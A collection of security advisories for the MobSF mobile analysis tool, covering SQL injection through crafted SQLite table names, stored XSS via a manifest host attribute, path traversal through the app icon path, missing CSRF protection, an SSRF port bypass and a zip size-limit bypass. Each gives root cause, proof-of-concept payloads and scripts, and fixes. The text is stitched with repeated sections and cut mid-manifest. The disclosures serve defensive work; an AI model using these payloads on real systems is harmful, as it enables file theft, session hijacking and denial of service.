• Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
• Impact: disk exhaustion preventing further scans for other users

Remediation

Add continue after the size warning:

if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    continue  # ← ADD THIS LINE

Description

MobSF's read_sqlite() function in mobsf/MobSF/utils.py (lines 542-566) uses Python string formatting (%) to construct SQL queries with table names read from a SQLite database's sqlite_master table. When a security analyst uses MobSF to analyze a malicious mobile application containing a crafted SQLite database, attacker-controlled table names are interpolated directly into SQL queries without parameterization or escaping.

This allows an attacker to:

1. Cause Denial of Service -- A malicious table name causes the database viewer to crash, preventing the analyst from viewing ANY data in the SQLite database. A malicious app can use this to hide sensitive data (C2 server URLs, stolen credentials, API keys) from MobSF's analysis.

2. Achieve SQL Injection -- The SELECT * FROM query on line 557 is provably injectable via UNION SELECT, allowing attacker-controlled data to be returned in query results. The current code structure (a PRAGMA statement that runs first on line 553) limits the full exploitation chain, but the underlying code is verifiably injectable.

Root Cause

The vulnerable code in mobsf/MobSF/utils.py:542-566:

def read_sqlite(sqlite_file):
    """Sqlite Dump - Readable Text."""
    table_dict = {}
    try:
        con = sqlite3.connect(sqlite_file)
        cur = con.cursor()
        cur.execute('SELECT name FROM sqlite_master WHERE type=\'table\';')
        tables = cur.fetchall()
        for table in tables:
            table_dict[table[0]] = {'head': [], 'data': []}
            cur.execute('PRAGMA table_info(\'%s\')' % table)    # <-- INJECTION POINT 1
            rows = cur.fetchall()
            for sq_row in rows:
                table_dict[table[0]]['head'].append(sq_row[1])
            cur.execute('SELECT * FROM \'%s\'' % table)         # <-- INJECTION POINT 2
            rows = cur.fetchall()
            for sq_row in rows:
                tmp_row = []
                for each_row in sq_row:
                    tmp_row.append(str(each_row))
                table_dict[table[0]]['data'].append(tmp_row)
    except Exception:
        logger.exception('Reading SQLite db')
    return table_dict

Lines 553 and 557 use % string formatting to interpolate table (a tuple from sqlite_master) directly into SQL strings. The table value is attacker-controlled when the SQLite database originates from a malicious application being analyzed.

Attack Vector

The read_sqlite() function is called from two locations:

1. Dynamic Analysis File Viewer (mobsf/DynamicAnalyzer/views/common/device.py:64):

   • Triggered when an analyst clicks to view a .db file in device data
   • Applies to both Android and iOS dynamic analysis

2. iOS Static Analysis File Viewer (mobsf/StaticAnalyzer/views/ios/views/view_source.py:123):

   • Triggered when an analyst clicks to view a .db file during iOS static analysis

Attack Scenario

1. Attacker creates a malicious Android APK (or iOS IPA) containing a SQLite database with a crafted table name in the assets/ directory
2. The SQLite database contains a table created with:

   CREATE TABLE "x' UNION SELECT 'SQL_INJECTION_PROOF'--" (id INTEGER);
   

3. Security analyst uploads the application to MobSF for analysis
4. Analyst browses the extracted files and clicks to view the SQLite database
5. MobSF's read_sqlite() reads table names from sqlite_master, including the malicious name x' UNION SELECT 'SQL_INJECTION_PROOF'--
6. The table name is interpolated into SQL queries via string formatting:
   • PRAGMA table_info('x' UNION SELECT 'SQL_INJECTION_PROOF'--') -- causes syntax error (DoS)
   • SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--' -- SQL injection (UNION SELECT returns attacker data)

Impact

Denial of Service (Confirmed)

When the malicious table name is the first table in sqlite_master (i.e., created first in the database), the PRAGMA statement on line 553 raises a sqlite3.OperationalError, which is caught by the outer try/except. This causes read_sqlite() to return an empty or partial result, preventing the analyst from viewing any database content.

Security impact: A malicious app author can use this technique to hide incriminating data stored in SQLite databases from MobSF's analysis. This directly undermines MobSF's core purpose as a security analysis tool.

SQL Injection (Confirmed in Isolation)

The SELECT * FROM query on line 557 is demonstrably injectable. When the malicious table name x' UNION SELECT 'SQL_INJECTION_PROOF'-- is interpolated, the resulting query:

SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--'

Successfully executes and returns attacker-controlled data via UNION SELECT. The -- comments out the trailing single quote. This is verified by the PoC script.

Note: In the current code structure, the PRAGMA table_info() statement on line 553 runs before the SELECT * FROM on line 557. The PRAGMA fails with a syntax error for injected payloads, which triggers the exception handler before the SELECT can execute. This limits the full exploitation chain. However, the code flaw is real and any future refactoring that changes the execution order or removes the PRAGMA would immediately expose the full SQL injection.

Proof of Concept

Files Provided(Gdrive)

| File | Description | |------|-------------| | poc_sqlite_injection.py | Standalone PoC demonstrating the vulnerability | | malicious.db | Crafted SQLite database (generated by PoC) | | create_malicious_apk.sh | Script to package the malicious DB into an APK | | malicious_sqli.apk | Pre-built APK for testing against MobSF |

https://drive.google.com/drive/folders/1mNGkFfNowkaZ5J018HFi4IQcnjKaWCym?usp=sharing

Running the PoC

# Run the standalone PoC (no MobSF required)
python3 poc_sqlite_injection.py

# Build the malicious APK (requires Android SDK)
./create_malicious_apk.sh

# Test against MobSF
# 1. Start MobSF
# 2. Upload malicious_sqli.apk
# 3. Browse extracted files -> click app_data.db
# 4. Observe: database viewer fails (DoS)

PoC Output (Abbreviated)

[STEP 2] Running MobSF's read_sqlite() against malicious database...
    [!] EXCEPTION CAUGHT: OperationalError: near "UNION": syntax error
    [!] DoS CONFIRMED: read_sqlite() crashed

[STEP 3] Demonstrating SELECT * FROM injection in isolation...
    Query: SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--'
    [+] Query executed successfully!
    [+] Results: [('SQL_INJECTION_PROOF',), ('normal_data',)]
    [+] SQL INJECTION CONFIRMED

[STEP 4] Complete DoS (malicious table created first):
    Tables with data: NONE
    [!] COMPLETE DoS CONFIRMED

Suggested Fix

Replace string formatting with properly quoted identifiers. SQLite uses double quotes for identifiers:

def read_sqlite(sqlite_file):
    """Sqlite Dump - Readable Text."""
    table_dict = {}
    try:
        con = sqlite3.connect(sqlite_file)
        cur = con.cursor()
        cur.execute('SELECT name FROM sqlite_master WHERE type=\'table\';')
        tables = cur.fetchall()
        for table in tables:
            table_name = table[0]
            # Properly escape table name as a double-quoted identifier
            safe_name = table_name.replace('"', '""')
            table_dict[table_name] = {'head': [], 'data': []}
            cur.execute(f'PRAGMA table_info("{safe_name}")')
            rows = cur.fetchall()
            for sq_row in rows:
                table_dict[table_name]['head'].append(sq_row[1])
            cur.execute(f'SELECT * FROM "{safe_name}"')
            rows = cur.fetchall()
            for sq_row in rows:
                tmp_row = []
                for each_row in sq_row:
                    tmp_row.append(str(each_row))
                table_dict[table_name]['data'].append(tmp_row)
    except Exception:
        logger.exception('Reading SQLite db')
    return table_dict

This escapes any double quotes within table names by doubling them (" → ""), which is the standard SQL mechanism for identifier quoting. This prevents breakout from the double-quoted identifier context.

Resources

• CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
• OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
• Affected File: mobsf/MobSF/utils.py, lines 542-566

Summary

A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

Details

When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.

Vulnerable Code Path

1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))

2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):

'title': a_template['title'] % t_name,  # XSS payload inserted here unescaped

3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):

'dialer_code_found': {
    'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
    ...
}

4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):

{{item|key:"title" | safe}}

The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.

PoC

Step 1: Create Malicious APK

Create an APK with the following AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.xsstest"
    android:versionCode="1"
    android:versionName="1.0">

    <application android:label="XSS PoC Test">
        <receiver android:name=".SecretCodeReceiver" android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.SECRET_CODE"/>
                <data android:scheme="android_secret_code"
                      android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>

Step 2: Build the APK

Use apktool or Android build tools to create a valid APK with this manifest.

Step 3: Upload to MobSF

Upload the malicious APK to MobSF for static analysis.

Step 4: Trigger XSS

View the static analysis report in a browser. The JavaScript payload executes automatically.

Confirmed HTML Output

<td>
Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]
</td>

PoC APK Details

| Field | Value | |-------|-------| | Filename | POC_XSS_APK.apk | | MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b | | Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |

Impact

This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.

Attack Scenario

1. Attacker crafts a malicious APK with XSS payload in the manifest
2. Attacker submits APK to a shared MobSF instance or private mobsf instance.
3. When any user views the analysis report, the XSS payload executes in their browser

Tested in MobSF Public Instance as well. https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/

Summary

The find_icon_path_zip() function in MobSF does not properly sanitize the android:icon attribute extracted from an Android manifest before resolving it as a filesystem path.

An attacker can supply a malicious android:icon value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (DWD_DIR). These files can then be retrieved by any authenticated user via the /download/<filename> endpoint, provided the file extension is included in ALLOWED_EXTENSIONS.

Details

elif icon_path.startswith(('res/', '/res/')):
    stripped_relative_path = icon_path.strip('/res')  # Works for neither /res nor res
    full_path = os.path.join(res_dir, stripped_relative_path)
    if os.path.exists(full_path):
        return full_path
    full_path += '.png'
    if os.path.exists(full_path):
        return full_path

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L126

This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into DWD_DIR/<md5>-icon.<ext>:

icon_file = find_icon_path_zip(
        app_dic['md5'],
        res_path,
        icon_from_mfst)
    if icon_file and Path(icon_file).exists():
        dwd = Path(settings.DWD_DIR)
        out = dwd / (app_dic['md5'] + '-icon' + Path(icon_file).suffix)
        copy2(icon_file, out)
        app_dic['icon_path'] = out.name

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L101

Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via: GET /download/<md5>-icon.<ext>

PoC

The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt):

import hashlib
import io
import zipfile

DEFAULT_HOST = "http://localhost:8000"
DEFAULT_TARGET = "res/../../../signatures/maltrail-malware-domains.txt"

MANIFEST_TEMPLATE = """\
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.icontraversal">
    <application android:icon="{target}"
                 android:label="PoC App">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>
"""

MAIN_ACTIVITY = """\
package com.poc.icontraversal;
import android.app.Activity;
public class MainActivity extends Activity {}
"""

host = DEFAULT_HOST
target = DEFAULT_TARGET
host = host.rstrip("/")

# crate ZIP
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("AndroidManifest.xml", MANIFEST_TEMPLATE.format(target=target))
    zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAIN_ACTIVITY)
    zf.writestr("res/drawable/placeholder.png", b"\x89PNG\r\n\x1a\n")

# compute hash
zip_bytes = buf.getvalue()
md5 = hashlib.md5(zip_bytes).hexdigest()

# write to disk
out_file = "poc_icon_traversal.zip"
with open(out_file, "wb") as f:
    f.write(zip_bytes)

import os
target_suffix = os.path.splitext(target.strip("/res").split("/")[-1])[1]
download_filename = f"{md5}-icon{target_suffix}"

print(f"[+] ZIP created : {os.path.abspath(out_file)}")
print(f"[+] Target file : {target}")
print()
print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI")
print()
print("[ Step 2 ] Wait for the scan to complete, then browse to:")
print(f"    {host}/download/{download_filename}")

Impact

This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in ALLOWED_EXTENSIONS. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the icon_path field in the scan report (if the target does not exist the path will be empty).

Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.

Remediation

This can fixed by using the is_path_traversal function to validate user input.

Summary

Django's CsrfViewMiddleware exists only in the deprecated MIDDLEWARE_CLASSES (ignored since Django 2.0). The active MIDDLEWARE tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.

Verified Impact

This was verified by actually deleting a real scan from the running server using only a session cookie — no CSRF token was required:

$ curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \
    -d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk"
{"deleted": "yes"}

The scan was removed from the database. This attack works from any website via HTML form auto-submission because:

• No CSRF token is validated (middleware absent)
• Cookie SameSite=Lax allows form-based top-level navigation to send the session cookie

Affected Component

File: mobsf/MobSF/settings.py (Lines 206-212)

MIDDLEWARE = (
    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'
)

Steps to Reproduce

1. Start MobSF v4.4.6 and log in at http://127.0.0.1:8000/login/ (creds: mobsf/mobsf).

2. Upload and scan any APK to create a scan entry. Note the MD5 hash from "Recent Scans".

3. Open the following HTML file in the same browser (simulates visiting attacker's page):

<!DOCTYPE html>
<html>
<head><title>Innocent Page</title></head>
<body>
<h1>Loading...</h1>
<form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/">
  <input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" />
  <input type="hidden" name="scan_type" value="apk" />
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>

4. The scan is deleted. Navigate back to MobSF "Recent Scans" to confirm it's gone.

Why This Is Not a Self-Bug

• The attack requires a victim user who is logged in to visit an attacker-controlled page
• The attacker crafts the form targeting the victim's MobSF instance
• All destructive POST endpoints are affected: /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, /delete_user/
• This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)

Remediation

Add 'django.middleware.csrf.CsrfViewMiddleware' to the active MIDDLEWARE tuple.

Summary

MobSF's Android App Link assetlinks checker validates only the manifest android:host value with valid_host(), but then appends the separate android:port value into the URL used for the server-side request. This bypasses the current port restriction in valid_host() and lets a crafted APK cause MobSF to fetch http://host:<attacker-port>/.well-known/assetlinks.json or https://host:<attacker-port>/.well-known/assetlinks.json.

Impact

An authenticated user who can upload or trigger analysis of a crafted APK can cause the MobSF server to make an outbound request to an attacker-selected port during Android manifest analysis. When the host is controlled by the attacker and uses DNS rebinding, the validation lookup can resolve to a public IP while the later HTTP client lookup resolves to an internal address, allowing SSRF to internal services on non-80/443 ports.

This is not arbitrary URL SSRF. The path remains fixed to /.well-known/assetlinks.json, and redirects are disabled. The bypass is that the final fetched URL is assembled after the host-only validation, so the current port guard is not applied to the actual URL.

Root cause

valid_host() rejects ports other than 80 and 443 when a port is included in the string being validated:

port = parsed.port
...
if port and port not in (80, 443):
    return False

In get_browsable_activities(), only the host attribute is passed to valid_host():

host = data.getAttribute(f'{ns}:host')
port = data.getAttribute(f'{ns}:port')
...
if not valid_host(host):
    logger.warning('Invalid Host: %s', host)
    continue
shost = f'{scheme}://{host}'
if port and is_number(port):
    c_url = f'{shost}:{port}{WELL_KNOWN_PATH}'
else:
    c_url = f'{shost}{WELL_KNOWN_PATH}'
well_known[c_url] = shost

_check_url() then fetches the assembled URL after checking only path, query, and params:

purl = urlparse(url)
if (purl.path != WELL_KNOWN_PATH
    or len(purl.query) > 0
        or len(purl.params) > 0):
    logger.warning('Invalid Assetlinks URL: %s', url)
    continue
r = requests.get(url,
                 timeout=5,
                 allow_redirects=False,
                 proxies=proxies,
                 verify=verify)

Reproduction

Use an Android manifest with a browsable App Link data tag that has a benign-looking host and a restricted port:

<activity android:name=".DeepLink" android:exported="true">
  <intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.BROWSABLE" />
    <category android:name="android.intent.category.DEFAULT" />
    <data android:scheme="http" android:host="rebind.example" android:port="22" />
  </intent-filter>
</activity>

A safe local proof with DNS and HTTP monkeypatching shows that MobSF validates only rebind.example, then fetches a URL that preserves the unchecked port:

well_known map: {'http://rebind.example:22/.well-known/assetlinks.json': 'http://rebind.example'}
requests.get calls: [('http://rebind.example:22/.well-known/assetlinks.json', {'timeout': 5, 'allow_redirects': False, 'proxies': None, 'verify': True})]
findings: [{'url': 'http://rebind.example:22/.well-known/assetlinks.json', 'host': 'http://rebind.example', 'status_code': 200, 'status': True}]
VULNERABLE: valid_host validated only rebind.example, but assetlinks_check fetched unchecked port 22 via http://rebind.example:22/.well-known/assetlinks.json

The same code pattern is present in latest release v4.4.6 and current main.

Remediation

Validate the final URL after all manifest components have been applied. In particular:

1. Build c_url, then run validation on the full URL, including scheme, hostname, port, path, query, and params.
2. Reject android:port values other than 80 and 443 before appending them to the URL.
3. Prevent DNS rebinding by pinning the validated DNS result to the outbound connection or otherwise ensuring the actual HTTP request cannot resolve to a different address than the validation step.
4. Keep allow_redirects=False for the existing redirect mitigation.

Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

Verified Impact (Code Audit)

The vulnerable code path in shared_func.py lines 153–182:

# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
    raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
    continue
else:
    fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check

The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
    info = zipfile.ZipInfo('assets/huge.bin')
    info.compress_type = zipfile.ZIP_DEFLATED
    with zf.open(info, 'w') as f:
        for _ in range(450):
            f.write(b'\x00' * (1024 * 1024))  # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

2. Upload via API:

curl -X POST http://127.0.0.1:8000/api/v1/upload \
  -H "X-Mobsf-Api-Key: YOUR_KEY" \
  -F "file=@poc.apk"

3. Trigger scan, then verify:

# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there

Why This Is Not a Self-Bug

• This affects any user who scans a maliciously crafted APK
• The APK could come from a legitimate-looking package submitted for security review
• Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
• Impact: disk exhaustion preventing further scans for other users

Remediation

Add continue after the size warning:

if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    continue  # ← ADD THIS LINE

Description

MobSF's read_sqlite() function in mobsf/MobSF/utils.py (lines 542-566) uses Python string formatting (%) to construct SQL queries with table names read from a SQLite database's sqlite_master table. When a security analyst uses MobSF to analyze a malicious mobile application containing a crafted SQLite database, attacker-controlled table names are interpolated directly into SQL queries without parameterization or escaping.

This allows an attacker to:

1. Cause Denial of Service -- A malicious table name causes the database viewer to crash, preventing the analyst from viewing ANY data in the SQLite database. A malicious app can use this to hide sensitive data (C2 server URLs, stolen credentials, API keys) from MobSF's analysis.

2. Achieve SQL Injection -- The SELECT * FROM query on line 557 is provably injectable via UNION SELECT, allowing attacker-controlled data to be returned in query results. The current code structure (a PRAGMA statement that runs first on line 553) limits the full exploitation chain, but the underlying code is verifiably injectable.

Root Cause

The vulnerable code in mobsf/MobSF/utils.py:542-566:

def read_sqlite(sqlite_file):
    """Sqlite Dump - Readable Text."""
    table_dict = {}
    try:
        con = sqlite3.connect(sqlite_file)
        cur = con.cursor()
        cur.execute('SELECT name FROM sqlite_master WHERE type=\'table\';')
        tables = cur.fetchall()
        for table in tables:
            table_dict[table[0]] = {'head': [], 'data': []}
            cur.execute('PRAGMA table_info(\'%s\')' % table)    # <-- INJECTION POINT 1
            rows = cur.fetchall()
            for sq_row in rows:
                table_dict[table[0]]['head'].append(sq_row[1])
            cur.execute('SELECT * FROM \'%s\'' % table)         # <-- INJECTION POINT 2
            rows = cur.fetchall()
            for sq_row in rows:
                tmp_row = []
                for each_row in sq_row:
                    tmp_row.append(str(each_row))
                table_dict[table[0]]['data'].append(tmp_row)
    except Exception:
        logger.exception('Reading SQLite db')
    return table_dict

Lines 553 and 557 use % string formatting to interpolate table (a tuple from sqlite_master) directly into SQL strings. The table value is attacker-controlled when the SQLite database originates from a malicious application being analyzed.

Attack Vector

The read_sqlite() function is called from two locations:

1. Dynamic Analysis File Viewer (mobsf/DynamicAnalyzer/views/common/device.py:64):

   • Triggered when an analyst clicks to view a .db file in device data
   • Applies to both Android and iOS dynamic analysis

2. iOS Static Analysis File Viewer (mobsf/StaticAnalyzer/views/ios/views/view_source.py:123):

   • Triggered when an analyst clicks to view a .db file during iOS static analysis

Attack Scenario

1. Attacker creates a malicious Android APK (or iOS IPA) containing a SQLite database with a crafted table name in the assets/ directory
2. The SQLite database contains a table created with:

   CREATE TABLE "x' UNION SELECT 'SQL_INJECTION_PROOF'--" (id INTEGER);
   

3. Security analyst uploads the application to MobSF for analysis
4. Analyst browses the extracted files and clicks to view the SQLite database
5. MobSF's read_sqlite() reads table names from sqlite_master, including the malicious name x' UNION SELECT 'SQL_INJECTION_PROOF'--
6. The table name is interpolated into SQL queries via string formatting:
   • PRAGMA table_info('x' UNION SELECT 'SQL_INJECTION_PROOF'--') -- causes syntax error (DoS)
   • SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--' -- SQL injection (UNION SELECT returns attacker data)

Impact

Denial of Service (Confirmed)

When the malicious table name is the first table in sqlite_master (i.e., created first in the database), the PRAGMA statement on line 553 raises a sqlite3.OperationalError, which is caught by the outer try/except. This causes read_sqlite() to return an empty or partial result, preventing the analyst from viewing any database content.

Security impact: A malicious app author can use this technique to hide incriminating data stored in SQLite databases from MobSF's analysis. This directly undermines MobSF's core purpose as a security analysis tool.

SQL Injection (Confirmed in Isolation)

The SELECT * FROM query on line 557 is demonstrably injectable. When the malicious table name x' UNION SELECT 'SQL_INJECTION_PROOF'-- is interpolated, the resulting query:

SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--'

Successfully executes and returns attacker-controlled data via UNION SELECT. The -- comments out the trailing single quote. This is verified by the PoC script.

Note: In the current code structure, the PRAGMA table_info() statement on line 553 runs before the SELECT * FROM on line 557. The PRAGMA fails with a syntax error for injected payloads, which triggers the exception handler before the SELECT can execute. This limits the full exploitation chain. However, the code flaw is real and any future refactoring that changes the execution order or removes the PRAGMA would immediately expose the full SQL injection.

Proof of Concept

Files Provided(Gdrive)

| File | Description | |------|-------------| | poc_sqlite_injection.py | Standalone PoC demonstrating the vulnerability | | malicious.db | Crafted SQLite database (generated by PoC) | | create_malicious_apk.sh | Script to package the malicious DB into an APK | | malicious_sqli.apk | Pre-built APK for testing against MobSF |

https://drive.google.com/drive/folders/1mNGkFfNowkaZ5J018HFi4IQcnjKaWCym?usp=sharing

Running the PoC

# Run the standalone PoC (no MobSF required)
python3 poc_sqlite_injection.py

# Build the malicious APK (requires Android SDK)
./create_malicious_apk.sh

# Test against MobSF
# 1. Start MobSF
# 2. Upload malicious_sqli.apk
# 3. Browse extracted files -> click app_data.db
# 4. Observe: database viewer fails (DoS)

PoC Output (Abbreviated)

[STEP 2] Running MobSF's read_sqlite() against malicious database...
    [!] EXCEPTION CAUGHT: OperationalError: near "UNION": syntax error
    [!] DoS CONFIRMED: read_sqlite() crashed

[STEP 3] Demonstrating SELECT * FROM injection in isolation...
    Query: SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--'
    [+] Query executed successfully!
    [+] Results: [('SQL_INJECTION_PROOF',), ('normal_data',)]
    [+] SQL INJECTION CONFIRMED

[STEP 4] Complete DoS (malicious table created first):
    Tables with data: NONE
    [!] COMPLETE DoS CONFIRMED

Suggested Fix

Replace string formatting with properly quoted identifiers. SQLite uses double quotes for identifiers:

def read_sqlite(sqlite_file):
    """Sqlite Dump - Readable Text."""
    table_dict = {}
    try:
        con = sqlite3.connect(sqlite_file)
        cur = con.cursor()
        cur.execute('SELECT name FROM sqlite_master WHERE type=\'table\';')
        tables = cur.fetchall()
        for table in tables:
            table_name = table[0]
            # Properly escape table name as a double-quoted identifier
            safe_name = table_name.replace('"', '""')
            table_dict[table_name] = {'head': [], 'data': []}
            cur.execute(f'PRAGMA table_info("{safe_name}")')
            rows = cur.fetchall()
            for sq_row in rows:
                table_dict[table_name]['head'].append(sq_row[1])
            cur.execute(f'SELECT * FROM "{safe_name}"')
            rows = cur.fetchall()
            for sq_row in rows:
                tmp_row = []
                for each_row in sq_row:
                    tmp_row.append(str(each_row))
                table_dict[table_name]['data'].append(tmp_row)
    except Exception:
        logger.exception('Reading SQLite db')
    return table_dict

This escapes any double quotes within table names by doubling them (" → ""), which is the standard SQL mechanism for identifier quoting. This prevents breakout from the double-quoted identifier context.

Resources

• CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
• OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
• Affected File: mobsf/MobSF/utils.py, lines 542-566

Summary

A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

Details

When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.

Vulnerable Code Path

1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))

2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):

'title': a_template['title'] % t_name,  # XSS payload inserted here unescaped

3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):

'dialer_code_found': {
    'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
    ...
}

4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):

{{item|key:"title" | safe}}

The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.

PoC

Step 1: Create Malicious APK

Create an APK with the following AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.xsstest"
    android:versionCode="1"
    android:versionName="1.0">

    <application android:label="XSS PoC Test">
        <receiver android:name=".SecretCodeReceiver" android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.SECRET_CODE"/>
                <data android:scheme="android_secret_code"
                      android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>
